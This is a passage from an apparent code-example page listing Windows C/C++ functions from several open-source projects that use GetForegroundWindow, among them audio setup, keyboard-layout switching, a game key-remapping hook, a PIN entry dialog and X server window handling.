	return PJ_RETURN_OS_ERROR(hr);


    ds_strm->dwBytePos = 0;
    ds_strm->dwDsBufferSize = buffer_count * bytes_per_frame;
    ds_strm->timestamp.u64 = 0;
    /*
     * Play latency does not need to be on a frame boundry, it is just how far
     * ahead of the read pointer we set the write pointer.  So we should just
     * use the user configured latency.  However, if the latency measured in
     * bytes causes more buffers than we are allowed, we must cap the latency
     * at the time contained in 1-buffer_count.
     */
    max_latency = (1 - buffer_count) * samples_per_frame * 1000 / clock_rate /
        channel_count;
    ds_strm->latency = PJ_MIN(max_latency, snd_output_latency);

    /* Done setting up play device. */
    PJ_LOG(5,(THIS_FILE, 
	      " DirectSound player \"%s\" initialized (clock_rate=%d, "
	      "channel_count=%d, samples_per_frame=%d (%dms))",
	      dev_info[dev_id].info.name,
	      clock_rate, channel_count, samples_per_frame,
	      samples_per_frame * 1000 / clock_rate));

    return PJ_SUCCESS;
}
Ejemplo n.º 12
0
void InvertCase(bool lastword)
{
	HWND hwnd = GetForegroundWindow();
	if (hwnd == NULL)
		return;

	HWND hwnd2 = GetFocus();
	if (hwnd2 == NULL)
		return;

	TCHAR szClassName[16];

	GetClassName(hwnd2, szClassName, _countof(szClassName));
	if (mir_tstrcmpi(szClassName, _T("RichEdit50W")) != 0)
		return;

	DWORD dwStart, dwEnd, dwFlags = SF_TEXT | SF_UNICODE;
	SendMessage(hwnd2, EM_GETSEL, (WPARAM)&dwStart, (LPARAM)&dwEnd);
	bool somethingIsSelected = (dwStart != dwEnd);
	if (somethingIsSelected)
		dwFlags += SFF_SELECTION;

	TCHAR *boo, *sel = Message_GetFromStream(hwnd2, dwFlags);
	size_t slen = mir_tstrlen(sel), start = 0, end = 0;
	if (slen != 0) {
		end = slen;
		if (lastword && !somethingIsSelected) {
			end = (size_t)dwStart;
			while (end < slen) {
				if (_istspace(sel[end]) || isItSmiley((int)end))
					break;
				end++;
			}
			start = (size_t)dwStart - 1;
			while (start > 0 && start < (size_t)dwStart) {
				if ((_istspace(sel[start]) && (end - start > 2)) || isItSmiley((int)start))
					break;
				start--;
			}
			boo = (TCHAR*)mir_alloc((end - start + 1) * sizeof(TCHAR));
			mir_tstrncpy(boo, sel + start, end - start);
			boo[end - start] = 0;
		}
		else {
			boo = (TCHAR*)mir_alloc((slen + 1) * sizeof(TCHAR));
			mir_tstrcpy(boo, sel);
		}

		Invert(boo);

		if (somethingIsSelected)
			SendMessage(hwnd2, EM_REPLACESEL, false, (LPARAM)boo);
		else {
			TCHAR *NewText = (TCHAR*)mir_alloc((start + mir_tstrlen(boo) + (slen - start) + 1) * sizeof(TCHAR));
			NewText[0] = 0;
			mir_tstrncat(NewText, sel, start);
			mir_tstrcat(NewText, boo);
			mir_tstrncat(NewText, sel + end, slen - end);
			SetWindowText(hwnd2, NewText);
			mir_free(NewText);
		}

		SendMessage(hwnd2, EM_SETSEL, (WPARAM)dwStart, (LPARAM)dwEnd);
		mir_free(boo);
	}
	mir_free(sel);
}
Ejemplo n.º 13
0
void SwitchLayout(bool lastword)
{
	HWND hwnd = GetForegroundWindow();
	if (hwnd == NULL)
		return;

	DWORD dwProcessID;
	DWORD dwThreadID = GetWindowThreadProcessId(hwnd, &dwProcessID);
	HWND hwnd2 = GetFocus();
	if (hwnd2 == NULL)
		return;

	TCHAR szClassName[MAX_PATH];
	GetClassName(hwnd2, szClassName, _countof(szClassName));
	if ((mir_tstrcmp(szClassName, _T("THppRichEdit.UnicodeClass")) == 0 || mir_tstrcmp(szClassName, _T("THistoryGrid.UnicodeClass")) == 0 || mir_tstrcmp(szClassName, _T("TExtHistoryGrid.UnicodeClass")) == 0 || mir_tstrcmp(szClassName, _T("Internet Explorer_Server")) == 0) && ServiceExists(MS_POPUP_SHOWMESSAGE)) {	// make popup here
		TCHAR buf[2048];
		if (mir_tstrcmp(szClassName, _T("Internet Explorer_Server")) == 0) {
			IEVIEWEVENT event;
			HWND hwnd3 = GetParent(GetParent(hwnd2));
			memset(&event, 0, sizeof(event));
			event.cbSize = sizeof(IEVIEWEVENT);
			event.hContact = 0;
			event.dwFlags = 0;
			event.iType = IEE_GET_SELECTION;
			event.hwnd = hwnd3;
			TCHAR *selected = (TCHAR *)CallService(MS_IEVIEW_EVENT, 0, (LPARAM)&event);
			mir_tstrncpy(buf, selected, _countof(buf));
		}
		else GetWindowText(hwnd2, buf, _countof(buf));		// gimme, gimme, gimme...

		size_t slen = mir_tstrlen(buf);
		if (slen != 0) {
			HKL hkl;
			ActivateKeyboardLayout((HKL)HKL_NEXT, KLF_ACTIVATE); // go to next layout before....
			hkl = GetKeyboardLayout(dwThreadID);
			ActivateKeyboardLayout((HKL)HKL_PREV, KLF_ACTIVATE); // return to prev layout

			if (ServiceExists(MS_SMILEYADD_BATCHPARSE)) {
				memset(&smgp, 0, sizeof(smgp));
				smgp.cbSize = sizeof(smgp);
				smgp.str = buf;
				smgp.flag = SAFL_TCHAR;
				smileyPrs = (SMADD_BATCHPARSERES *)CallService(MS_SMILEYADD_BATCHPARSE, 0, (LPARAM)&smgp);
			}

			for (size_t i = 0; i < slen; i++) {
				SHORT vks;
				BYTE keys[256] = { 0 };

				vks = VkKeyScanEx(buf[i], hkl);

				keys[VK_SHIFT] = (HIBYTE(vks) & 1) ? 0xFF : 0x00; // shift
				keys[VK_CONTROL] = (HIBYTE(vks) & 2) ? 0xFF : 0x00; // ctrl
				keys[VK_MENU] = (HIBYTE(vks) & 4) ? 0xFF : 0x00;	// alt

				if (!isItSmiley(DWORD(i))) {
					TCHAR tchr;
					if (ToUnicodeEx(LOBYTE(vks), 0, keys, &tchr, 1, 0, GetKeyboardLayout(dwThreadID)) == 1)
						buf[i] = tchr;
				}
			}

			if (smileyPrs != NULL)
				CallService(MS_SMILEYADD_BATCHFREE, 0, (LPARAM)smileyPrs);

			POPUPDATAT pd = { 0 };
			pd.lchIcon = IcoLib_GetIcon("Switch Layout and Send");
			mir_tstrncpy(pd.lptzText, buf, _countof(pd.lptzText));
			mir_tstrncpy(pd.lptzContactName, TranslateT("TranslitSwitcher"), _countof(pd.lptzContactName));
			PUAddPopupT(&pd);
		}
	}
	else if (mir_tstrcmpi(szClassName, _T("RichEdit50W")) == 0) {
		size_t i, start = 0, end = 0;
		SHORT vks;
		BYTE keys[256] = { 0 };
		HKL hkl = GetKeyboardLayout(dwThreadID);

		DWORD dwStart, dwEnd, dwFlags = SF_TEXT | SF_UNICODE;
		SendMessage(hwnd2, EM_GETSEL, (WPARAM)&dwStart, (LPARAM)&dwEnd);
		bool somethingIsSelected = (dwStart != dwEnd);
		if (somethingIsSelected)
			dwFlags += SFF_SELECTION;

		TCHAR *sel = Message_GetFromStream(hwnd2, dwFlags);
		size_t slen = mir_tstrlen(sel);
		if (slen != 0) {
			if (ServiceExists(MS_SMILEYADD_BATCHPARSE)) {
				memset(&smgp, 0, sizeof(smgp));
				smgp.cbSize = sizeof(smgp);
				smgp.str = sel;
				smgp.flag = SAFL_TCHAR;
				smileyPrs = (SMADD_BATCHPARSERES *)CallService(MS_SMILEYADD_BATCHPARSE, 0, (LPARAM)&smgp);
			}

			end = slen;
			if (lastword && !somethingIsSelected) {
				end = (size_t)dwStart;
				while (end < slen) {
					if (_istspace(sel[end]) || isItSmiley((int)end))
						break;
					end++;
				}
				start = dwStart - 1;
				while (start > 0 && start < dwStart) {
					if ((_istspace(sel[start]) && !_istspace(sel[start + 1])) || isItSmiley((int)start))
						break;
					start--;
				}
			}

			ActivateKeyboardLayout((HKL)HKL_PREV, KLF_ACTIVATE);

			for (i = start; i < end; i++) {
				vks = VkKeyScanEx(sel[i], hkl);

				keys[VK_SHIFT] = (HIBYTE(vks) & 1) ? 0xFF : 0x00; // shift
				keys[VK_CONTROL] = (HIBYTE(vks) & 2) ? 0xFF : 0x00; // ctrl
				keys[VK_MENU] = (HIBYTE(vks) & 4) ? 0xFF : 0x00;	// alt

				if (!isItSmiley((int)i)) {
					TCHAR tchr;
					if (ToUnicodeEx(LOBYTE(vks), 0, keys, &tchr, 1, 0, GetKeyboardLayout(dwThreadID)) == 1)
						sel[i] = tchr;
				}
			}

			if (smileyPrs != NULL)
				CallService(MS_SMILEYADD_BATCHFREE, 0, (LPARAM)smileyPrs);

			if (somethingIsSelected)
				SendMessage(hwnd2, EM_REPLACESEL, false, (LPARAM)sel);
			else
				SetWindowText(hwnd2, sel);

			SendMessage(hwnd2, EM_SETSEL, (WPARAM)dwStart, (LPARAM)dwEnd);
		}
		mir_free(sel);
	}
}
Ejemplo n.º 14
0
bool GetKeyState(int key)
{
  int vk = 0;

  if(key >= eRENDERDOC_Key_A && key <= eRENDERDOC_Key_Z)
    vk = key;
  if(key >= eRENDERDOC_Key_0 && key <= eRENDERDOC_Key_9)
    vk = key;

  switch(key)
  {
    case eRENDERDOC_Key_Divide: vk = VK_DIVIDE; break;
    case eRENDERDOC_Key_Multiply: vk = VK_MULTIPLY; break;
    case eRENDERDOC_Key_Subtract: vk = VK_SUBTRACT; break;
    case eRENDERDOC_Key_Plus: vk = VK_ADD; break;
    case eRENDERDOC_Key_F1: vk = VK_F1; break;
    case eRENDERDOC_Key_F2: vk = VK_F2; break;
    case eRENDERDOC_Key_F3: vk = VK_F3; break;
    case eRENDERDOC_Key_F4: vk = VK_F4; break;
    case eRENDERDOC_Key_F5: vk = VK_F5; break;
    case eRENDERDOC_Key_F6: vk = VK_F6; break;
    case eRENDERDOC_Key_F7: vk = VK_F7; break;
    case eRENDERDOC_Key_F8: vk = VK_F8; break;
    case eRENDERDOC_Key_F9: vk = VK_F9; break;
    case eRENDERDOC_Key_F10: vk = VK_F10; break;
    case eRENDERDOC_Key_F11: vk = VK_F11; break;
    case eRENDERDOC_Key_F12: vk = VK_F12; break;
    case eRENDERDOC_Key_Home: vk = VK_HOME; break;
    case eRENDERDOC_Key_End: vk = VK_END; break;
    case eRENDERDOC_Key_Insert: vk = VK_INSERT; break;
    case eRENDERDOC_Key_Delete: vk = VK_DELETE; break;
    case eRENDERDOC_Key_PageUp: vk = VK_PRIOR; break;
    case eRENDERDOC_Key_PageDn: vk = VK_NEXT; break;
    case eRENDERDOC_Key_Backspace: vk = VK_BACK; break;
    case eRENDERDOC_Key_Tab: vk = VK_TAB; break;
    case eRENDERDOC_Key_PrtScrn: vk = VK_SNAPSHOT; break;
    case eRENDERDOC_Key_Pause: vk = VK_PAUSE; break;
    default: break;
  }

  if(vk == 0)
    return false;

  bool keydown = GetAsyncKeyState(vk) != 0;

  if(inputWindows.empty() || !keydown)
    return keydown;

  for(auto it = inputWindows.begin(); it != inputWindows.end(); ++it)
  {
    HWND w = *it;
    HWND fore = GetForegroundWindow();

    while(w)
    {
      if(w == fore)
        return keydown;

      w = GetParent(w);
    }
  }

  return false;
}
Ejemplo n.º 15
0
/* The main Win32 event handler */
LONG
 DX5_HandleMessage(_THIS, HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	switch (msg) {
#ifdef WM_ACTIVATEAPP
		case WM_ACTIVATEAPP: {
			int i, active;

			active = (wParam && (GetForegroundWindow() == hwnd));
			if ( active ) {
				for ( i=0; SDL_DIdev[i]; ++i ) {
					IDirectInputDevice2_Acquire(
								SDL_DIdev[i]);
				}
			} else {
				for ( i=0; SDL_DIdev[i]; ++i ) {
					IDirectInputDevice2_Unacquire(
								SDL_DIdev[i]);
				}
				mouse_lost = 1;
			}
		}
		break;
#endif /* WM_ACTIVATEAPP */

#ifdef WM_DISPLAYCHANGE
		case WM_DISPLAYCHANGE: {
			WORD BitsPerPixel;
			WORD SizeX, SizeY;

			/* Ack!  The display changed size and/or depth! */
			SizeX = LOWORD(lParam);
			SizeY = HIWORD(lParam);
			BitsPerPixel = wParam;
			/* We cause this message when we go fullscreen */
		}
		break;
#endif /* WM_DISPLAYCHANGE */

		/* The keyboard is handled via DirectInput */
		case WM_SYSKEYUP:
		case WM_SYSKEYDOWN:
		case WM_KEYUP:
		case WM_KEYDOWN: {
			/* Ignore windows keyboard messages */;
		}
		return(0);

#if defined(SC_SCREENSAVE) || defined(SC_MONITORPOWER)
		/* Don't allow screen savers or monitor power downs.
		   This is because they quietly clear DirectX surfaces.
		   It would be better to allow the application to
		   decide whether or not to blow these off, but the
		   semantics of SDL_PrivateSysWMEvent() don't allow
		   the application that choice.
		 */
		case WM_SYSCOMMAND: {
			if ((wParam&0xFFF0)==SC_SCREENSAVE || 
			    (wParam&0xFFF0)==SC_MONITORPOWER)
				return(0);
		}
		/* Fall through to default processing */

#endif /* SC_SCREENSAVE || SC_MONITORPOWER */

		default: {
			/* Only post the event if we're watching for it */
			if ( SDL_ProcessEvents[SDL_SYSWMEVENT] == SDL_ENABLE ) {
			        SDL_SysWMmsg wmmsg;

				SDL_VERSION(&wmmsg.version);
				wmmsg.hwnd = hwnd;
				wmmsg.msg = msg;
				wmmsg.wParam = wParam;
				wmmsg.lParam = lParam;
				posted = SDL_PrivateSysWMEvent(&wmmsg);

			/* DJM: If the user isn't watching for private
				messages in her SDL event loop, then pass it
				along to any win32 specific window proc.
			 */
			} else if (userWindowProc) {
				return CallWindowProc(userWindowProc, hwnd, msg, wParam, lParam);
			}
		}
		break;
	}
	return(DefWindowProc(hwnd, msg, wParam, lParam));
}
Ejemplo n.º 16
0
//HHOOK m_hkeyboard;    //handler of keyboard hook
LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
	//Find the front window
	topWnd = GetForegroundWindow();
	
	PKBDLLHOOKSTRUCT kbstruct;
	kbstruct=(PKBDLLHOOKSTRUCT)lParam;
	DWORD dtemp = kbstruct->vkCode;//vkCode is the press buttom



	//we need to read keys configure from gameconfiguration.xml
	char ch_Temp = char(dtemp); /*- 0x41 + char('A');*/
	char ch_Corl;//doesn't take double key into account
	map<string , string>::iterator iter_Key = map_Key.begin();
	bool found = false;

	if(ch_Temp >= 96)
	{
		ch_Temp = ch_Temp - 96 + 48;
	}
	if(topWnd == m_hgame)
	{
		string str_Temp;
		str_Temp.clear();
		str_Temp.push_back(ch_Temp);
		if(WM_KEYDOWN == int(wParam))
		{
				/*int key_value = ch_Corl - char('A') + 0x41;
				keybd_event(key_value,0,0,0);*/
			switch (dtemp)
			{
				case 0x58:
					mouse_event(MOUSEEVENTF_LEFTDOWN , 0 , 0 , 0 , 0);
					return 1;
				case char('A'):
					mouse_event(MOUSEEVENTF_MOVE , -10 , 0 , 0 , 0);
					return 1;
				case char('S'):
					mouse_event(MOUSEEVENTF_MOVE , 10 , 0 , 0 , 0);
					return 1;
				case char('W'):
					mouse_event(MOUSEEVENTF_MOVE , 0 , 10 , 0 , 0);
					return 1;
				case char('E'):
					mouse_event(MOUSEEVENTF_MOVE , 0 , -10 , 0 , 0);
					return 1;
				default:
					break;	
			}
			
		}
		if(WM_KEYUP == int(wParam))
		{
			if(VK_RETURN == dtemp)
			{
				mouse_event(MOUSEEVENTF_LEFTUP , 0 , 0 , 0 , 0);
				return 1;
			}
		}
 			while(map_Key.end() != iter_Key)
			{
				if(0 == iter_Key->first.compare(str_Temp))
				{
					found = true;
					//ch_Corl = *(iter_Key->second.c_str());
					break;
				}
				iter_Key++;
			}

			if(found)
			{
				if(1 == iter_Key->second.length())
				{
					ch_Corl = *(iter_Key->second.c_str());
					if(WM_KEYDOWN == int(wParam))
					{
						int key_value = ch_Corl; /*- char('A') + 0x41;*/
						keybd_event(key_value,0,0,0);
						return 1;
					}
					if(WM_KEYUP == int(wParam))
					{
						int key_value = ch_Corl;/* - char('A') + 0x41;*/
						keybd_event(key_value,0,KEYEVENTF_KEYUP,0);
						return 1;
					}
				}
				else
				{
					int key_value;
					if(0 == string("UP").compare(iter_Key->second))
					{
						key_value = 0x26;
					}
					else if(0 == string("LEFT").compare(iter_Key->second))
					{
						key_value = 0x25;
					}
					else if(0 == string("RIGHT").compare(iter_Key->second))
					{
						key_value = 0x27;
					}
					else if(0 == string("DOWN").compare(iter_Key->second))
					{
						key_value = 0x28;
					}
					if(WM_KEYDOWN == int(wParam))
					{

						//int key_value = ch_Corl - char('A') + 0x41;
						keybd_event(key_value,0,0,0);
						return 1;
					}
					if(WM_KEYUP == int(wParam))
					{
						//int key_value = ch_Corl - char('A') + 0x41;
						keybd_event(key_value,0,KEYEVENTF_KEYUP,0);
						return 1;
					}
				}
			}


			
			

	}

	return CallNextHookEx(m_hkeyboard,nCode,wParam,lParam);
}
Ejemplo n.º 17
0
INT_PTR CALLBACK Pin2DialogProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) {	
	static TCHAR *pin2;
	static unsigned int minPin2Length;

	switch(message) {
		case WM_INITDIALOG:			
			HWND previousWindowsHandle;
			HWND pin2EntryWindowHandle;
			HWND parentWindowHandle;

			EstEID_log("[WM_INITDIALOG] begin");
			parentWindowHandle = GetParent(hwnd);
			EstEID_log("parentWindowHandle = %08X, current focus is @ %08X, foregroud window %08X", parentWindowHandle, GetFocus(), GetForegroundWindow());			

			dialogWindowHandle = hwnd;
			EstEID_log("PIN2 dialog window handle = %08X", dialogWindowHandle);
			SetPinDialogLabels(dialogWindowHandle, lParam);				
			SetDialogItemText(dialogWindowHandle, IDC_PIN2_LABEL, l10n("For signing enter PIN2:"));
			SetDialogItemText(dialogWindowHandle, IDOK, l10n("Sign"));
			SetDialogItemText(dialogWindowHandle, IDCANCEL, l10n("Cancel"));
			minPin2Length = ((DialogData *)lParam)->minPin2Length;
			pin2 = ((DialogData *)lParam)->pin2;

			pin2EntryWindowHandle = GetDlgItem(hwnd, IDC_PIN2);
			EstEID_log("PIN2 entry field window handle = %08X", pin2EntryWindowHandle);
			
			previousWindowsHandle = SetFocus(hwnd);
			if (!previousWindowsHandle) {
				EstEID_log("error detected: SetFocus(%08X) returned 0, error code = %li", hwnd, GetLastError());
			}
			else {
				EstEID_log("focus taken from %08X and set to %08X ", previousWindowsHandle, GetFocus());
			}
			EstEID_log("confirming: focus is @ %08X - %s", GetFocus(), GetFocus() == pin2EntryWindowHandle ? "sehr gut!" : "SHOULD NOT BE LIKE THAT!");

			if (GetFocus() != pin2EntryWindowHandle) {
				EstEID_log("second attempt to set focus...");
				previousWindowsHandle = SetFocus(hwnd);
				if (!previousWindowsHandle) {
						EstEID_log("again, error detected: SetFocus(%08X) returned 0, error code = %li", hwnd, GetLastError());
				}
				else {
					EstEID_log("again, focus taken from %08X and set to %08X ", previousWindowsHandle, GetFocus());
				}
				EstEID_log("again, confirming: focus is @ %08X - %s", GetFocus(), GetFocus() == pin2EntryWindowHandle ? "bueno!" : "Firefox? Giving up... Better take Google Chrome.");
			}

			EnableWindow(parentWindowHandle, false); // hack to disable controls in browser window
			
			EstEID_log("[WM_INITDIALOG] end");
			return true;

		case WM_COMMAND:
			switch(LOWORD(wParam)) {
				case IDOK:
					GetDlgItemText(hwnd, IDC_PIN2, pin2, PIN2_MAX_LEN);
				case IDCANCEL:					
					dialogWindowHandle = 0;
					EndDialog(hwnd, LOWORD(wParam));					
					EstEID_log("closing PIN2 dialog, focus is back @ %08X", GetFocus());					
					return true;
			}
			if(HIWORD(wParam) == EN_CHANGE && LOWORD(wParam) == IDC_PIN2) {
				Button_Enable(GetDlgItem(hwnd, IDOK), isAcceptableLengthPIN2(hwnd, IDC_PIN2, minPin2Length));
			}
			return true;
		case WM_CTLCOLORSTATIC:			
			if(GetDlgItem(hwnd, IDC_ERROR) == ((HWND)lParam)){
				return SetMessageLabelColorToRed(wParam);
			}			
		default:
			return false;
	}	
}
Ejemplo n.º 18
0
LRESULT CALLBACK
winTopLevelWindowProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    POINT ptMouse;
    HDC hdcUpdate;
    PAINTSTRUCT ps;
    WindowPtr pWin = NULL;
    winPrivWinPtr pWinPriv = NULL;
    ScreenPtr s_pScreen = NULL;
    winPrivScreenPtr s_pScreenPriv = NULL;
    winScreenInfo *s_pScreenInfo = NULL;
    HWND hwndScreen = NULL;
    DrawablePtr pDraw = NULL;
    winWMMessageRec wmMsg;
    Bool fWMMsgInitialized = FALSE;
    static Bool s_fTracking = FALSE;
    Bool needRestack = FALSE;
    LRESULT ret;
    static Bool	hasEnteredSizeMove = FALSE;

    winDebugWin32Message("winTopLevelWindowProc", hwnd, message, wParam,
                         lParam);

    /* Check if the Windows window property for our X window pointer is valid */
    if ((pWin = GetProp(hwnd, WIN_WINDOW_PROP)) != NULL) {
        /* Our X window pointer is valid */

        /* Get pointers to the drawable and the screen */
        pDraw = &pWin->drawable;
        s_pScreen = pWin->drawable.pScreen;

        /* Get a pointer to our window privates */
        pWinPriv = winGetWindowPriv(pWin);

        /* Get pointers to our screen privates and screen info */
        s_pScreenPriv = pWinPriv->pScreenPriv;
        s_pScreenInfo = s_pScreenPriv->pScreenInfo;

        /* Get the handle for our screen-sized window */
        hwndScreen = s_pScreenPriv->hwndScreen;

        /* */
        wmMsg.msg = 0;
        wmMsg.hwndWindow = hwnd;
        wmMsg.iWindow = (Window) GetProp(hwnd, WIN_WID_PROP);

        wmMsg.iX = pDraw->x;
        wmMsg.iY = pDraw->y;
        wmMsg.iWidth = pDraw->width;
        wmMsg.iHeight = pDraw->height;

        fWMMsgInitialized = TRUE;

    }
#ifdef _DEBUG
    else if (message!=WM_CREATE)
    {
        winDebug("Warning: message 0x%x received when WIN_WINDOW_PROP NULL\n",message);
    }
#endif

    /* Branch on message type */
    switch (message) {
    case WM_CREATE:

        /* */
        SetProp(hwnd,
                WIN_WINDOW_PROP,
                (HANDLE) ((LPCREATESTRUCT) lParam)->lpCreateParams);

        /* */
        SetProp(hwnd,
                WIN_WID_PROP,
                (HANDLE) winGetWindowID(((LPCREATESTRUCT) lParam)->
                                        lpCreateParams));

        /*
         * Make X windows' Z orders sync with Windows windows because
         * there can be AlwaysOnTop windows overlapped on the window
         * currently being created.
         */
        winReorderWindowsMultiWindow();

        /* Fix a 'round title bar corner background should be transparent not black' problem when first painted */
        {
            RECT rWindow;
            HRGN hRgnWindow;

            GetWindowRect(hwnd, &rWindow);
            hRgnWindow = CreateRectRgnIndirect(&rWindow);
            SetWindowRgn(hwnd, hRgnWindow, TRUE);
        }

        SetWindowLongPtr(hwnd, GWLP_USERDATA, (LONG_PTR)VCXSRV_SIGNATURE);

        return 0;

    case WM_INIT_SYS_MENU:
        /*
         * Add whatever the setup file wants to for this window
         */
        SetupSysMenu((unsigned long) hwnd);
        return 0;

    case WM_SYSCOMMAND:
        /*
         * Any window menu items go through here
         */
        if (HandleCustomWM_COMMAND((unsigned long) hwnd, LOWORD(wParam))) {
            /* Don't pass customized menus to DefWindowProc */
            return 0;
        }
        if (wParam == SC_RESTORE || wParam == SC_MAXIMIZE) {
            WINDOWPLACEMENT wndpl;

            wndpl.length = sizeof(wndpl);
            if (GetWindowPlacement(hwnd, &wndpl) &&
                    wndpl.showCmd == SW_SHOWMINIMIZED)
                needRestack = TRUE;
        }
        break;

    case WM_INITMENU:
        /* Checks/Unchecks any menu items before they are displayed */
        HandleCustomWM_INITMENU((unsigned long) hwnd, wParam);
        break;

    case WM_ERASEBKGND:
        /*
         * Pretend that we did erase the background but we don't care,
         * since we repaint the entire region anyhow
         * This avoids some flickering when resizing.
         */
        return TRUE;

    case WM_PAINT:
        /* Only paint if our window handle is valid */
        if (hwndScreen == NULL)
            break;

        /* BeginPaint gives us an hdc that clips to the invalidated region */
        hdcUpdate = BeginPaint(hwnd, &ps);
        /* Avoid the BitBlt's if the PAINTSTRUCT is bogus */
        if (ps.rcPaint.right == 0 && ps.rcPaint.bottom == 0 &&
                ps.rcPaint.left == 0 && ps.rcPaint.top == 0) {
            EndPaint(hwnd, &ps);
            return 0;
        }

#ifdef XWIN_GLX_WINDOWS
        if (pWinPriv->fWglUsed) {
            /*
               For regions which are being drawn by GL, the shadow framebuffer doesn't have the
               correct bits, so don't bitblt from the shadow framebuffer

               XXX: For now, just leave it alone, but ideally we want to send an expose event to
               the window so it really redraws the affected region...
             */
            ValidateRect(hwnd, &(ps.rcPaint));
        }
        else
#endif
            /* Try to copy from the shadow buffer */
            if (!BitBlt(hdcUpdate,
                        ps.rcPaint.left, ps.rcPaint.top,
                        ps.rcPaint.right - ps.rcPaint.left,
                        ps.rcPaint.bottom - ps.rcPaint.top,
                        s_pScreenPriv->hdcShadow,
                        ps.rcPaint.left + pWin->drawable.x,
                        ps.rcPaint.top + pWin->drawable.y, SRCCOPY)) {
                LPVOID lpMsgBuf;

                /* Display a fancy error message */
                FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
                              FORMAT_MESSAGE_FROM_SYSTEM |
                              FORMAT_MESSAGE_IGNORE_INSERTS,
                              NULL,
                              GetLastError(),
                              MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
                              (LPTSTR) &lpMsgBuf, 0, NULL);

                ErrorF("winTopLevelWindowProc - BitBlt failed: %s\n",
                       (LPSTR) lpMsgBuf);
                LocalFree(lpMsgBuf);
            }

        /* EndPaint frees the DC */
        EndPaint(hwnd, &ps);
        return 0;

    case WM_MOUSEMOVE:
        /* Unpack the client area mouse coordinates */
        ptMouse.x = GET_X_LPARAM(lParam);
        ptMouse.y = GET_Y_LPARAM(lParam);

        /* Translate the client area mouse coordinates to screen coordinates */
        ClientToScreen(hwnd, &ptMouse);

        /* Screen Coords from (-X, -Y) -> Root Window (0, 0) */
        ptMouse.x -= GetSystemMetrics(SM_XVIRTUALSCREEN);
        ptMouse.y -= GetSystemMetrics(SM_YVIRTUALSCREEN);

        /* We can't do anything without privates */
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;

        /* Has the mouse pointer crossed screens? */
        if (s_pScreen != miPointerGetScreen(g_pwinPointer))
            miPointerSetScreen(g_pwinPointer, s_pScreenInfo->dwScreen,
                               ptMouse.x - s_pScreenInfo->dwXOffset,
                               ptMouse.y - s_pScreenInfo->dwYOffset);

        /* Are we tracking yet? */
        if (!s_fTracking) {
            TRACKMOUSEEVENT tme;

            /* Setup data structure */
            ZeroMemory(&tme, sizeof(tme));
            tme.cbSize = sizeof(tme);
            tme.dwFlags = TME_LEAVE;
            tme.hwndTrack = hwnd;

            /* Call the tracking function */
            if (!TrackMouseEvent(&tme))
                ErrorF("winTopLevelWindowProc - TrackMouseEvent failed\n");

            /* Flag that we are tracking now */
            s_fTracking = TRUE;
        }

        /* Hide or show the Windows mouse cursor */
        if (g_fSoftwareCursor && g_fCursor) {
            /* Hide Windows cursor */
            g_fCursor = FALSE;
            ShowCursor(FALSE);
        }

        /* Kill the timer used to poll mouse events */
        if (g_uipMousePollingTimerID != 0) {
            KillTimer(s_pScreenPriv->hwndScreen, WIN_POLLING_MOUSE_TIMER_ID);
            g_uipMousePollingTimerID = 0;
        }

        /* Deliver absolute cursor position to X Server */
        winEnqueueMotion(ptMouse.x - s_pScreenInfo->dwXOffset,
                         ptMouse.y - s_pScreenInfo->dwYOffset);

        return 0;

    case WM_NCMOUSEMOVE:
        /*
         * We break instead of returning 0 since we need to call
         * DefWindowProc to get the mouse cursor changes
         * and min/max/close button highlighting in Windows XP.
         * The Platform SDK says that you should return 0 if you
         * process this message, but it fails to mention that you
         * will give up any default functionality if you do return 0.
         */

        /* We can't do anything without privates */
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;

        /* Non-client mouse movement, show Windows cursor */
        if (g_fSoftwareCursor && !g_fCursor) {
            g_fCursor = TRUE;
            ShowCursor(TRUE);
        }

        winStartMousePolling(s_pScreenPriv);

        break;

    case WM_MOUSELEAVE:
        /* We can't do anything without privates */
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;
        /* Mouse has left our client area */

        /* Flag that we are no longer tracking */
        s_fTracking = FALSE;

        /* Show the mouse cursor, if necessary */
        if (g_fSoftwareCursor && !g_fCursor) {
            g_fCursor = TRUE;
            ShowCursor(TRUE);
        }

        winStartMousePolling(s_pScreenPriv);

        return 0;

    case WM_LBUTTONDBLCLK:
    case WM_LBUTTONDOWN:
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;
        g_fButton[0] = TRUE;
        SetCapture(hwnd);
        return winMouseButtonsHandle(s_pScreen, ButtonPress, Button1, wParam);

    case WM_LBUTTONUP:
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;
        g_fButton[0] = FALSE;
        ReleaseCapture();
        winStartMousePolling(s_pScreenPriv);
        return winMouseButtonsHandle(s_pScreen, ButtonRelease, Button1, wParam);

    case WM_MBUTTONDBLCLK:
    case WM_MBUTTONDOWN:
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;
        g_fButton[1] = TRUE;
        SetCapture(hwnd);
        return winMouseButtonsHandle(s_pScreen, ButtonPress, Button2, wParam);

    case WM_MBUTTONUP:
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;
        g_fButton[1] = FALSE;
        ReleaseCapture();
        winStartMousePolling(s_pScreenPriv);
        return winMouseButtonsHandle(s_pScreen, ButtonRelease, Button2, wParam);

    case WM_RBUTTONDBLCLK:
    case WM_RBUTTONDOWN:
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;
        g_fButton[2] = TRUE;
        SetCapture(hwnd);
        return winMouseButtonsHandle(s_pScreen, ButtonPress, Button3, wParam);

    case WM_RBUTTONUP:
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;
        g_fButton[2] = FALSE;
        ReleaseCapture();
        winStartMousePolling(s_pScreenPriv);
        return winMouseButtonsHandle(s_pScreen, ButtonRelease, Button3, wParam);

    case WM_XBUTTONDBLCLK:
    case WM_XBUTTONDOWN:
